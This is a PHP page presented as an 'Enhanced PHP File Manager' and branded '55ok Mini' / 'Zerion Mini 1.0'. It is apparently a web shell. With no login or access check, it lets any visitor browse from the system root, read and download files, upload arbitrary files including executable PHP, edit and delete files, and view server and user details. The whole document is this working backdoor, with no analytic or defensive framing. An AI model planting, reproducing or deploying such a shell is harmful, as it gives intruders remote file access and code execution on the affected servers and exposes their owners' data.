55ok
Mini
<?php
session_start();
// Configuration
$root_path = '/'; // Set root path to system root for full navigation
$allowed_extensions = array('txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'log', 'htaccess');
$max_upload_size = 10 * 1024 * 1024; // 10MB
// Get current directory - allow full path navigation
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$current_dir = rtrim($current_dir, '/');
// If current_dir is empty or just '/', set to root
if (empty($current_dir) || $current_dir === '.') {
$current_dir = getcwd();
}
// Build the full current path
$current_path = $current_dir;
// Make sure path exists and is readable
if (!is_dir($current_path) || !is_readable($current_path)) {
$current_path = getcwd();
$current_dir = $current_path;
}
// Function to get parent directory
function getParentDir($current_path) {
$parent = dirname($current_path);
// Don't go above system root
if ($parent === $current_path) {
return null; // Already at root
}
return $parent;
}
// Handle actions
if ($_POST) {
$action = $_POST['action'] ?? '';
switch ($action) {
case 'upload':
if (isset($_FILES['file'])) {
$target_dir = $current_path . '/';
$target_file = $target_dir . basename($_FILES['file']['name']);
if ($_FILES['file']['size'] <= $max_upload_size) {
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
$message = "File uploaded successfully!";
} else {
$error = "Upload failed!";
}
} else {
$error = "File too large!";
}
}
break;
case 'create_folder':
$folder_name = $_POST['folder_name'] ?? '';
$folder_name = preg_replace('/[^a-zA-Z0-9\-_.]/', '', $folder_name); // Sanitize
if ($folder_name && !file_exists($current_path . '/' . $folder_name)) {
mkdir($current_path . '/' . $folder_name);
$message = "Folder created successfully!";
} else {
$error = "Folder already exists or invalid name!";
}
break;
case 'create_file':
$file_name = $_POST['file_name'] ?? '';
$file_name = preg_replace('/[^a-zA-Z0-9\-_.]/', '', $file_name); // Sanitize
if ($file_name) {
file_put_contents($current_path . '/' . $file_name, '');
$message = "File created successfully!";
}
break;
case 'rename':
$old_name = $_POST['old_name'] ?? '';
$new_name = $_POST['new_name'] ?? '';
$new_name = preg_replace('/[^a-zA-Z0-9\-_.]/', '', $new_name); // Sanitize
if ($old_name && $new_name && $old_name !== $new_name) {
$old_path = $current_path . '/' . $old_name;
$new_path = $current_path . '/' . $new_name;
if (file_exists($old_path) && !file_exists($new_path)) {
rename($old_path, $new_path);
$message = "Renamed successfully!";
} else {
$error = "Rename failed - file doesn't exist or target name already exists!";
}
}
break;
case 'delete':
$file_name = $_POST['file_name'] ?? '';
if ($file_name) {
$file_path = $current_path . '/' . $file_name;
if (file_exists($file_path)) {
if (is_dir($file_path)) {
if (rmdir($file_path)) {
$message = "Folder deleted successfully!";
} else {
$error = "Cannot delete folder - it may not be empty!";
}
} else {
if (unlink($file_path)) {
$message = "File deleted successfully!";
} else {
$error = "Cannot delete file!";
}
}
} else {
$error = "File or folder not found!";
}
}
break;
case 'save_file':
$file_name = $_POST['file_name'] ?? '';
$content = $_POST['content'] ?? '';
if ($file_name) {
file_put_contents($current_path . '/' . $file_name, $content);
$message = "File saved successfully!";
}
break;
}
// Redirect to prevent form resubmission
$redirect_url = '?dir=' . urlencode($current_dir);
header("Location: $redirect_url");
exit;
}
// Handle download
if (isset($_GET['download'])) {
$file = $_GET['download'];
$file_path = $current_path . '/' . $file;
if (file_exists($file_path) && is_file($file_path)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
header('Content-Length: ' . filesize($file_path));
readfile($file_path);
exit;
}
}
// Get file content for editing
$edit_content = '';
if (isset($_GET['edit'])) {
$edit_file = $_GET['edit'];
$edit_path = $current_path . '/' . $edit_file;
if (file_exists($edit_path) && is_file($edit_path)) {
$edit_content = htmlspecialchars(file_get_contents($edit_path));
}
}
// Scan directory
$files = [];
$directories = [];
if (is_dir($current_path)) {
$items = scandir($current_path);
foreach ($items as $item) {
if ($item != '.' && $item != '..') {
$item_path = $current_path . '/' . $item;
if (is_dir($item_path)) {
$directories[] = $item;
} else {
$files[] = $item;
}
}
}
// Sort directories and files alphabetically
sort($directories);
sort($files);
}
// Helper functions
function formatBytes($size, $precision = 2) {
if ($size == 0) return '0 B';
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$base = log($size, 1024);
return round(pow(1024, $base - floor($base)), $precision) . ' ' . $units[floor($base)];
}
function getFileIcon($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
switch ($ext) {
case 'php': return '🐘';
case 'html': case 'htm': return '🌐';
case 'css': return '🎨';
case 'js': return '⚡';
case 'txt': return '📄';
case 'json': return '📋';
case 'xml': return '📰';
case 'md': return '📝';
case 'log': return '📊';
case 'jpg': case 'jpeg': case 'png': case 'gif': return '🖼️';
case 'pdf': return '📕';
case 'zip': case 'rar': return '🗜️';
default: return '📄';
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Enhanced PHP File Manager</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
padding: 20px;
}
.container {
max-width: 1200px;
margin: 0 auto;
background: white;
border-radius: 15px;
box-shadow: 0 20px 40px rgba(0,0,0,0.1);
overflow: hidden;
}
.header {
background: linear-gradient(135deg, #2c3e50 0%, #3498db 100%);
color: white;
padding: 20px;
text-align: center;
}
.header h1 {
font-size: 2rem;
margin-bottom: 10px;
}
.nav-path {
background: #f8f9fa;
padding: 15px;
border-bottom: 1px solid #dee2e6;
display: flex;
align-items: center;
flex-wrap: wrap;
gap: 5px;
}
.nav-path strong {
margin-right: 10px;
}
.nav-path a {
color: #007bff;
text-decoration: none;
padding: 4px 8px;
border-radius: 4px;
transition: background 0.3s ease;
}
.nav-path a:hover {
background: #e9ecef;
text-decoration: none;
}
.nav-separator {
color: #6c757d;
margin: 0 2px;
}
.main-content {
display: grid;
grid-template-columns: 250px 1fr;
min-height: 600px;
}
.sidebar {
background: #f8f9fa;
border-right: 1px solid #dee2e6;
padding: 20px;
}
.sidebar h3 {
margin-bottom: 15px;
color: #495057;
}
.content-area {
padding: 20px;
}
.action-buttons {
margin-bottom: 20px;
display: flex;
gap: 10px;
flex-wrap: wrap;
}
.btn {
padding: 8px 16px;
background: #007bff;
color: white;
border: none;
border-radius: 5px;
cursor: pointer;
text-decoration: none;
font-size: 14px;
transition: all 0.3s ease;
display: inline-block;
}
.btn:hover {
background: #0056b3;
transform: translateY(-2px);
color: white;
text-decoration: none;
}
.btn-success { background: #28a745; }
.btn-success:hover { background: #1e7e34; }
.btn-danger { background: #dc3545; }
.btn-danger:hover { background: #c82333; }
.btn-warning { background: #ffc107; color: #212529; }
.btn-warning:hover { background: #e0a800; }
.btn-info { background: #17a2b8; }
.btn-info:hover { background: #138496; }
.btn-secondary { background: #6c757d; }
.btn-secondary:hover { background: #5a6268; }
.btn-purple { background: #6f42c1; }
.btn-purple:hover { background: #5a2d91; }
.file-list {
background: white;
border: 1px solid #dee2e6;
border-radius: 8px;
overflow: hidden;
}
.file-item {
display: flex;
align-items: center;
padding: 12px;
border-bottom: 1px solid #dee2e6;
transition: background 0.3s ease;
}
.file-item:hover {
background: #f8f9fa;
}
.file-item:last-child {
border-bottom: none;
}
.file-icon {
font-size: 20px;
margin-right: 12px;
width: 30px;
text-align: center;
}
.file-name {
flex: 1;
font-weight: 500;
}
.file-name a {
color: #495057;
text-decoration: none;
}
.file-name a:hover {
color: #007bff;
}
.file-size {
color: #6c757d;
font-size: 0.9rem;
margin-right: 10px;
min-width: 60px;
}
.file-actions {
display: flex;
gap: 5px;
flex-wrap: wrap;
}
.file-actions .btn {
padding: 4px 8px;
font-size: 12px;
}
.modal {
display: none;
position: fixed;
z-index: 1000;
left: 0;
top: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.5);
}
.modal-content {
background: white;
margin: 5% auto;
padding: 20px;
border-radius: 10px;
width: 80%;
max-width: 500px;
}
.modal h3 {
margin-bottom: 15px;
color: #495057;
}
.form-group {
margin-bottom: 15px;
}
.form-group label {
display: block;
margin-bottom: 5px;
font-weight: 500;
}
.form-group input,
.form-group textarea {
width: 100%;
padding: 8px;
border: 1px solid #ced4da;
border-radius: 5px;
font-size: 14px;
}
.form-group textarea {
resize: vertical;
min-height: 200px;
font-family: monospace;
}
.close {
float: right;
font-size: 28px;
font-weight: bold;
cursor: pointer;
}
.close:hover {
color: #dc3545;
}
.message {
padding: 12px;
margin-bottom: 15px;
border-radius: 5px;
background: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.error {
background: #f8d7da;
color: #721c24;
border-color: #f5c6cb;
}
.server-info {
background: #e9ecef;
padding: 15px;
border-radius: 8px;
margin-bottom: 20px;
}
.server-info h4 {
margin-bottom: 10px;
color: #495057;
}
.info-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 10px;
}
.info-item {
background: white;
padding: 10px;
border-radius: 5px;
border-left: 4px solid #007bff;
}
.info-label {
font-weight: bold;
color: #495057;
font-size: 0.9rem;
}
.info-value {
color: #6c757d;
font-size: 0.9rem;
word-break: break-all;
}
.up-button {
background: #28a745;
margin-bottom: 10px;
}
.up-button:hover {
background: #1e7e34;
}
@media (max-width: 768px) {
.main-content {
grid-template-columns: 1fr;
}
.sidebar {
border-right: none;
border-bottom: 1px solid #dee2e6;
}
.action-buttons {
flex-direction: column;
}
.file-item {
flex-direction: column;
align-items: flex-start;
gap: 8px;
}
.file-actions {
width: 100%;
justify-content: flex-end;
}
.nav-path {
flex-direction: column;
align-items: flex-start;
}
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>🗂️ Enhanced PHP File Manager</h1>
<p>Navigate and manage your files with improved navigation</p>
</div>
<div class="nav-path">
<strong>📁 Current Path:</strong>
<a href="?dir=/">🏠 Root</a>
<?php
$path_parts = explode('/', trim($current_dir, '/'));
$path_build = '';
foreach ($path_parts as $part) {
if ($part) {
$path_build .= '/' . $part;
echo '<span class="nav-separator">/</span>';
echo '<a href="?dir=' . urlencode($path_build) . '">' . htmlspecialchars($part) . '</a>';
}
}
?>
</div>
<div class="main-content">
<div class="sidebar">
<?php
$parent_dir = getParentDir($current_path);
if ($parent_dir !== null):
?>
<a href="?dir=<?php echo urlencode($parent_dir); ?>" class="btn up-button" style="width: 100%; text-align: center; margin-bottom: 20px;">
⬆️ Go Up (..)
</a>
<?php endif; ?>
<h3>📊 Server Information</h3>
<div class="server-info">
<div class="info-grid">
<div class="info-item">
<div class="info-label">Server:</div>
<div class="info-value"><?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; ?></div>
</div>
<div class="info-item">
<div class="info-label">System:</div>
<div class="info-value"><?php echo php_uname('s') . ' ' . php_uname('r'); ?></div>
</div>
<div class="info-item">
<div class="info-label">PHP Version:</div>
<div class="info-value"><?php echo PHP_VERSION; ?></div>
</div>
<div class="info-item">
<div class="info-label">User:</div>
<div class="info-value"><?php echo get_current_user(); ?></div>
</div>
<div class="info-item">
<div class="info-label">Directory:</div>
<div class="info-value"><?php echo htmlspecialchars($current_path); ?></div>
</div>
<div class="info-item">
<div class="info-label">Free Space:</div>
<div class="info-value"><?php echo formatBytes(disk_free_space($current_path)); ?></div>
</div>
</div>
</div>
<h3>🔧 Quick Actions</h3>
<div style="display: flex; flex-direction: column; gap: 8px;">
<button class="btn btn-success" onclick="openModal('uploadModal')">📤 Upload File</button>
<button class="btn btn-success" onclick="openModal('createFolderModal')">📁 Create Folder</button>
<button class="btn btn-success" onclick="openModal('createFileModal')">📄 Create File</button>
</div>
</div>
<div class="content-area">
<?php if (isset($message)): ?>
<div class="message"><?php echo htmlspecialchars($message); ?></div>
<?php endif; ?>
<?php if (isset($error)): ?>
<div class="message error"><?php echo htmlspecialchars($error); ?></div>
<?php endif; ?>
<?php if (isset($_GET['edit'])): ?>
<div style="margin-bottom: 20px;">
<h3>✏️ Editing: <?php echo htmlspecialchars($_GET['edit']); ?></h3>
<form method="post">
<input type="hidden" name="action" value="save_file">
<input type="hidden" name="file_name" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
<div class="form-group">
<textarea name="content" placeholder="Enter file content..."><?php echo $edit_content; ?></textarea>
</div>
<button type="submit" class="btn btn-success">💾 Save</button>
<a href="?<?php echo 'dir=' . urlencode($current_dir); ?>" class="btn btn-secondary">❌ Cancel</a>
</form>
</div>
<?php else: ?>
<div class="file-list">
<?php foreach ($directories as $dir): ?>
<div class="file-item">
<div class="file-icon">📁</div>
<div class="file-name">
<a href="?dir=<?php echo urlencode($current_dir ? $current_dir . '/' . $dir : '/' . $dir); ?>">
<?php echo htmlspecialchars($dir); ?>
</a>
</div>
<div class="file-size">Folder</div>
<div class="file-actions">
<button class="btn btn-warning" onclick="renameItem('<?php echo htmlspecialchars($dir); ?>')">Rename</button>
<button class="btn btn-danger" onclick="deleteItem('<?php echo htmlspecialchars($dir); ?>')">Delete</button>
</div>
</div>
<?php endforeach; ?>
<?php foreach ($files as $file): ?>
<?php
$file_path = $current_path . '/' . $file;
$file_size = file_exists($file_path) ? filesize($file_path) : 0;
?>
<div class="file-item">
<div class="file-icon"><?php echo getFileIcon($file); ?></div>
<div class="file-name">
<?php echo htmlspecialchars($file); ?>
</div>
<div class="file-size"><?php echo formatBytes($file_size); ?></div>
<div class="file-actions">
<a href="?download=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($current_dir); ?>"
class="btn btn-info">📥 Download</a>
<?php if (in_array(strtolower(pathinfo($file, PATHINFO_EXTENSION)), $allowed_extensions)): ?>
<a href="?edit=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($current_dir); ?>"
class="btn btn-purple">✏️ Edit</a>
<?php endif; ?>
<button class="btn btn-warning" onclick="renameItem('<?php echo htmlspecialchars($file); ?>')">🔄 Rename</button>
<button class="btn btn-danger" onclick="deleteItem('<?php echo htmlspecialchars($file); ?>')">🗑️ Delete</button>
</div>
</div>
<?php endforeach; ?>
<?php if (empty($directories) && empty($files)): ?>
<div class="file-item" style="justify-content: center; color: #6c757d;">
📂 Directory is empty
</div>
<?php endif; ?>
</div>
<?php endif; ?>
</div>
</div>
</div>
<!-- Upload Modal -->
<div id="uploadModal" class="modal">
<div class="modal-content">
<span class="close" onclick="closeModal('uploadModal')">×</span>
<h3>📤 Upload File</h3>
<form method="post" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload">
<div class="form-group">
<label>Select File (Max: <?php echo formatBytes($max_upload_size); ?>):</label>
<input type="file" name="file" required>
</div>
<button type="submit" class="btn btn-success">📤 Upload</button>
<button type="button" class="btn btn-secondary" onclick="closeModal('uploadModal')">❌ Cancel</button>
</form>
</div>
</div>
<!-- Create Folder Modal -->
<div id="createFolderModal" class="modal">
<div class="modal-content">
<span class="close" onclick="closeModal('createFolderModal')">×</span>
<h3>📁 Create Folder</h3>
<form method="post">
<input type="hidden" name="action" value="create_folder">
<div class="form-group">
<label>Folder Name:</label>
<input type="text" name="folder_name" placeholder="my-folder" pattern="[a-zA-Z0-9\-_.]+" required>
<small style="color: #6c757d;">Only letters, numbers, hyphens, underscores, and dots allowed</small>
</div>
<button type="submit" class="btn btn-success">📁 Create</button>
<button type="button" class="btn btn-secondary" onclick="closeModal('createFolderModal')">❌ Cancel</button>
</form>
</div>
</div>
<!-- Create File Modal -->
<div id="createFileModal" class="modal">
<div class="modal-content">
<span class="close" onclick="closeModal('createFileModal')">×</span>
<h3>📄 Create File</h3>
<form method="post">
<input type="hidden" name="action" value="create_file">
<div class="form-group">
<label>File Name:</label>
<input type="text" name="file_name" placeholder="example.txt" pattern="[a-zA-Z0-9\-_.]+" required>
<small style="color: #6c757d;">Only letters, numbers, hyphens, underscores, and dots allowed</small>
</div>
<button type="submit" class="btn btn-success">📄 Create</button>
<button type="button" class="btn btn-secondary" onclick="closeModal('createFileModal')">❌ Cancel</button>
</form>
</div>
</div>
<!-- Rename Modal -->
<div id="renameModal" class="modal">
<div class="modal-content">
<span class="close" onclick="closeModal('renameModal')">×</span>
<h3>✏️ Rename Item</h3>
<form method="post" id="renameForm">
<input type="hidden" name="action" value="rename">
<input type="hidden" name="old_name" id="oldName">
<div class="form-group">
<label>New Name:</label>
<input type="text" name="new_name" id="newName" pattern="[a-zA-Z0-9\-_.]+" required>
<small style="color: #6c757d;">Only letters, numbers, hyphens, underscores, and dots allowed</small>
</div>
<button type="submit" class="btn btn-success">✏️ Rename</button>
<button type="button" class="btn btn-secondary" onclick="closeModal('renameModal')">❌ Cancel</button>
</form>
</div>
</div>
<!-- Delete Modal -->
<div id="deleteModal" class="modal">
<div class="modal-content">
<span class="close" onclick="closeModal('deleteModal')">×</span>
<h3>🗑️ Delete Confirmation</h3>
<p>Are you sure you want to delete "<span id="deleteFileName"></span>"?</p>
<p style="color: #dc3545; font-weight: bold; margin-top: 10px;">⚠️ This action cannot be undone!</p>
<form method="post" id="deleteForm">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="file_name" id="deleteFileNameInput">
<button type="submit" class="btn btn-danger">🗑️ Yes, Delete</button>
<button type="button" class="btn btn-secondary" onclick="closeModal('deleteModal')">❌ Cancel</button>
</form>
</div>
</div>
<script>
function openModal(modalId) {
document.getElementById(modalId).style.display = 'block';
}
function closeModal(modalId) {
document.getElementById(modalId).style.display = 'none';
}
function renameItem(name) {
document.getElementById('oldName').value = name;
document.getElementById('newName').value = name;
openModal('renameModal');
// Focus on input field
setTimeout(() => {
document.getElementById('newName').focus();
document.getElementById('newName').select();
}, 100);
}
function deleteItem(name) {
document.getElementById('deleteFileName').textContent = name;
document.getElementById('deleteFileNameInput').value = name;
openModal('deleteModal');
}
// Close modal when clicking outside
window.onclick = function(event) {
if (event.target.classList.contains('modal')) {
event.target.style.display = 'none';
}
}
// Handle keyboard shortcuts
document.addEventListener('keydown', function(e) {
if (e.key === 'Escape') {
const modals = document.querySelectorAll('.modal');
modals.forEach(modal => modal.style.display = 'none');
}
// Keyboard shortcuts for quick actions (when no modal is open)
if (!document.querySelector('.modal[style*="block"]')) {
if (e.ctrlKey && e.key === 'u') {
e.preventDefault();
openModal('uploadModal');
} else if (e.ctrlKey && e.key === 'n') {
e.preventDefault();
openModal('createFileModal');
} else if (e.ctrlKey && e.shiftKey && e.key === 'N') {
e.preventDefault();
openModal('createFolderModal');
}
}
});
// Form validation
document.querySelectorAll('input[pattern]').forEach(input => {
input.addEventListener('input', function() {
const pattern = new RegExp(this.pattern);
if (!pattern.test(this.value) && this.value.length > 0) {
this.setCustomValidity('Only letters, numbers, hyphens, underscores, and dots are allowed');
} else {
this.setCustomValidity('');
}
});
});
// Auto-hide messages after 5 seconds
document.addEventListener('DOMContentLoaded', function() {
const messages = document.querySelectorAll('.message');
messages.forEach(message => {
setTimeout(() => {
message.style.transition = 'opacity 0.5s ease';
message.style.opacity = '0';
setTimeout(() => {
message.style.display = 'none';
}, 500);
}, 5000);
});
});
// Drag and drop file upload
const contentArea = document.querySelector('.content-area');
let dragCounter = 0;
contentArea.addEventListener('dragenter', function(e) {
e.preventDefault();
dragCounter++;
this.style.backgroundColor = '#f8f9fa';
this.style.border = '2px dashed #007bff';
});
contentArea.addEventListener('dragleave', function(e) {
e.preventDefault();
dragCounter--;
if (dragCounter <= 0) {
this.style.backgroundColor = '';
this.style.border = '';
}
});
contentArea.addEventListener('dragover', function(e) {
e.preventDefault();
});
contentArea.addEventListener('drop', function(e) {
e.preventDefault();
dragCounter = 0;
this.style.backgroundColor = '';
this.style.border = '';
const files = e.dataTransfer.files;
if (files.length > 0) {
const file = files[0];
const fileInput = document.querySelector('input[name="file"]');
const dataTransfer = new DataTransfer();
dataTransfer.items.add(file);
fileInput.files = dataTransfer.files;
openModal('uploadModal');
}
});
// Show loading indicator for form submissions
document.querySelectorAll('form').forEach(form => {
form.addEventListener('submit', function() {
const submitBtn = this.querySelector('button[type="submit"]');
if (submitBtn) {
submitBtn.innerHTML = '⏳ Processing...';
submitBtn.disabled = true;
}
});
});
// Keyboard shortcuts help
console.log(`
🚀 Keyboard Shortcuts:
- Ctrl + U: Upload file
- Ctrl + N: Create new file
- Ctrl + Shift + N: Create new folder
- Escape: Close modals
- Drag & Drop files to upload
`);
</script>
</body>
</html>
Zerion Mini 1.0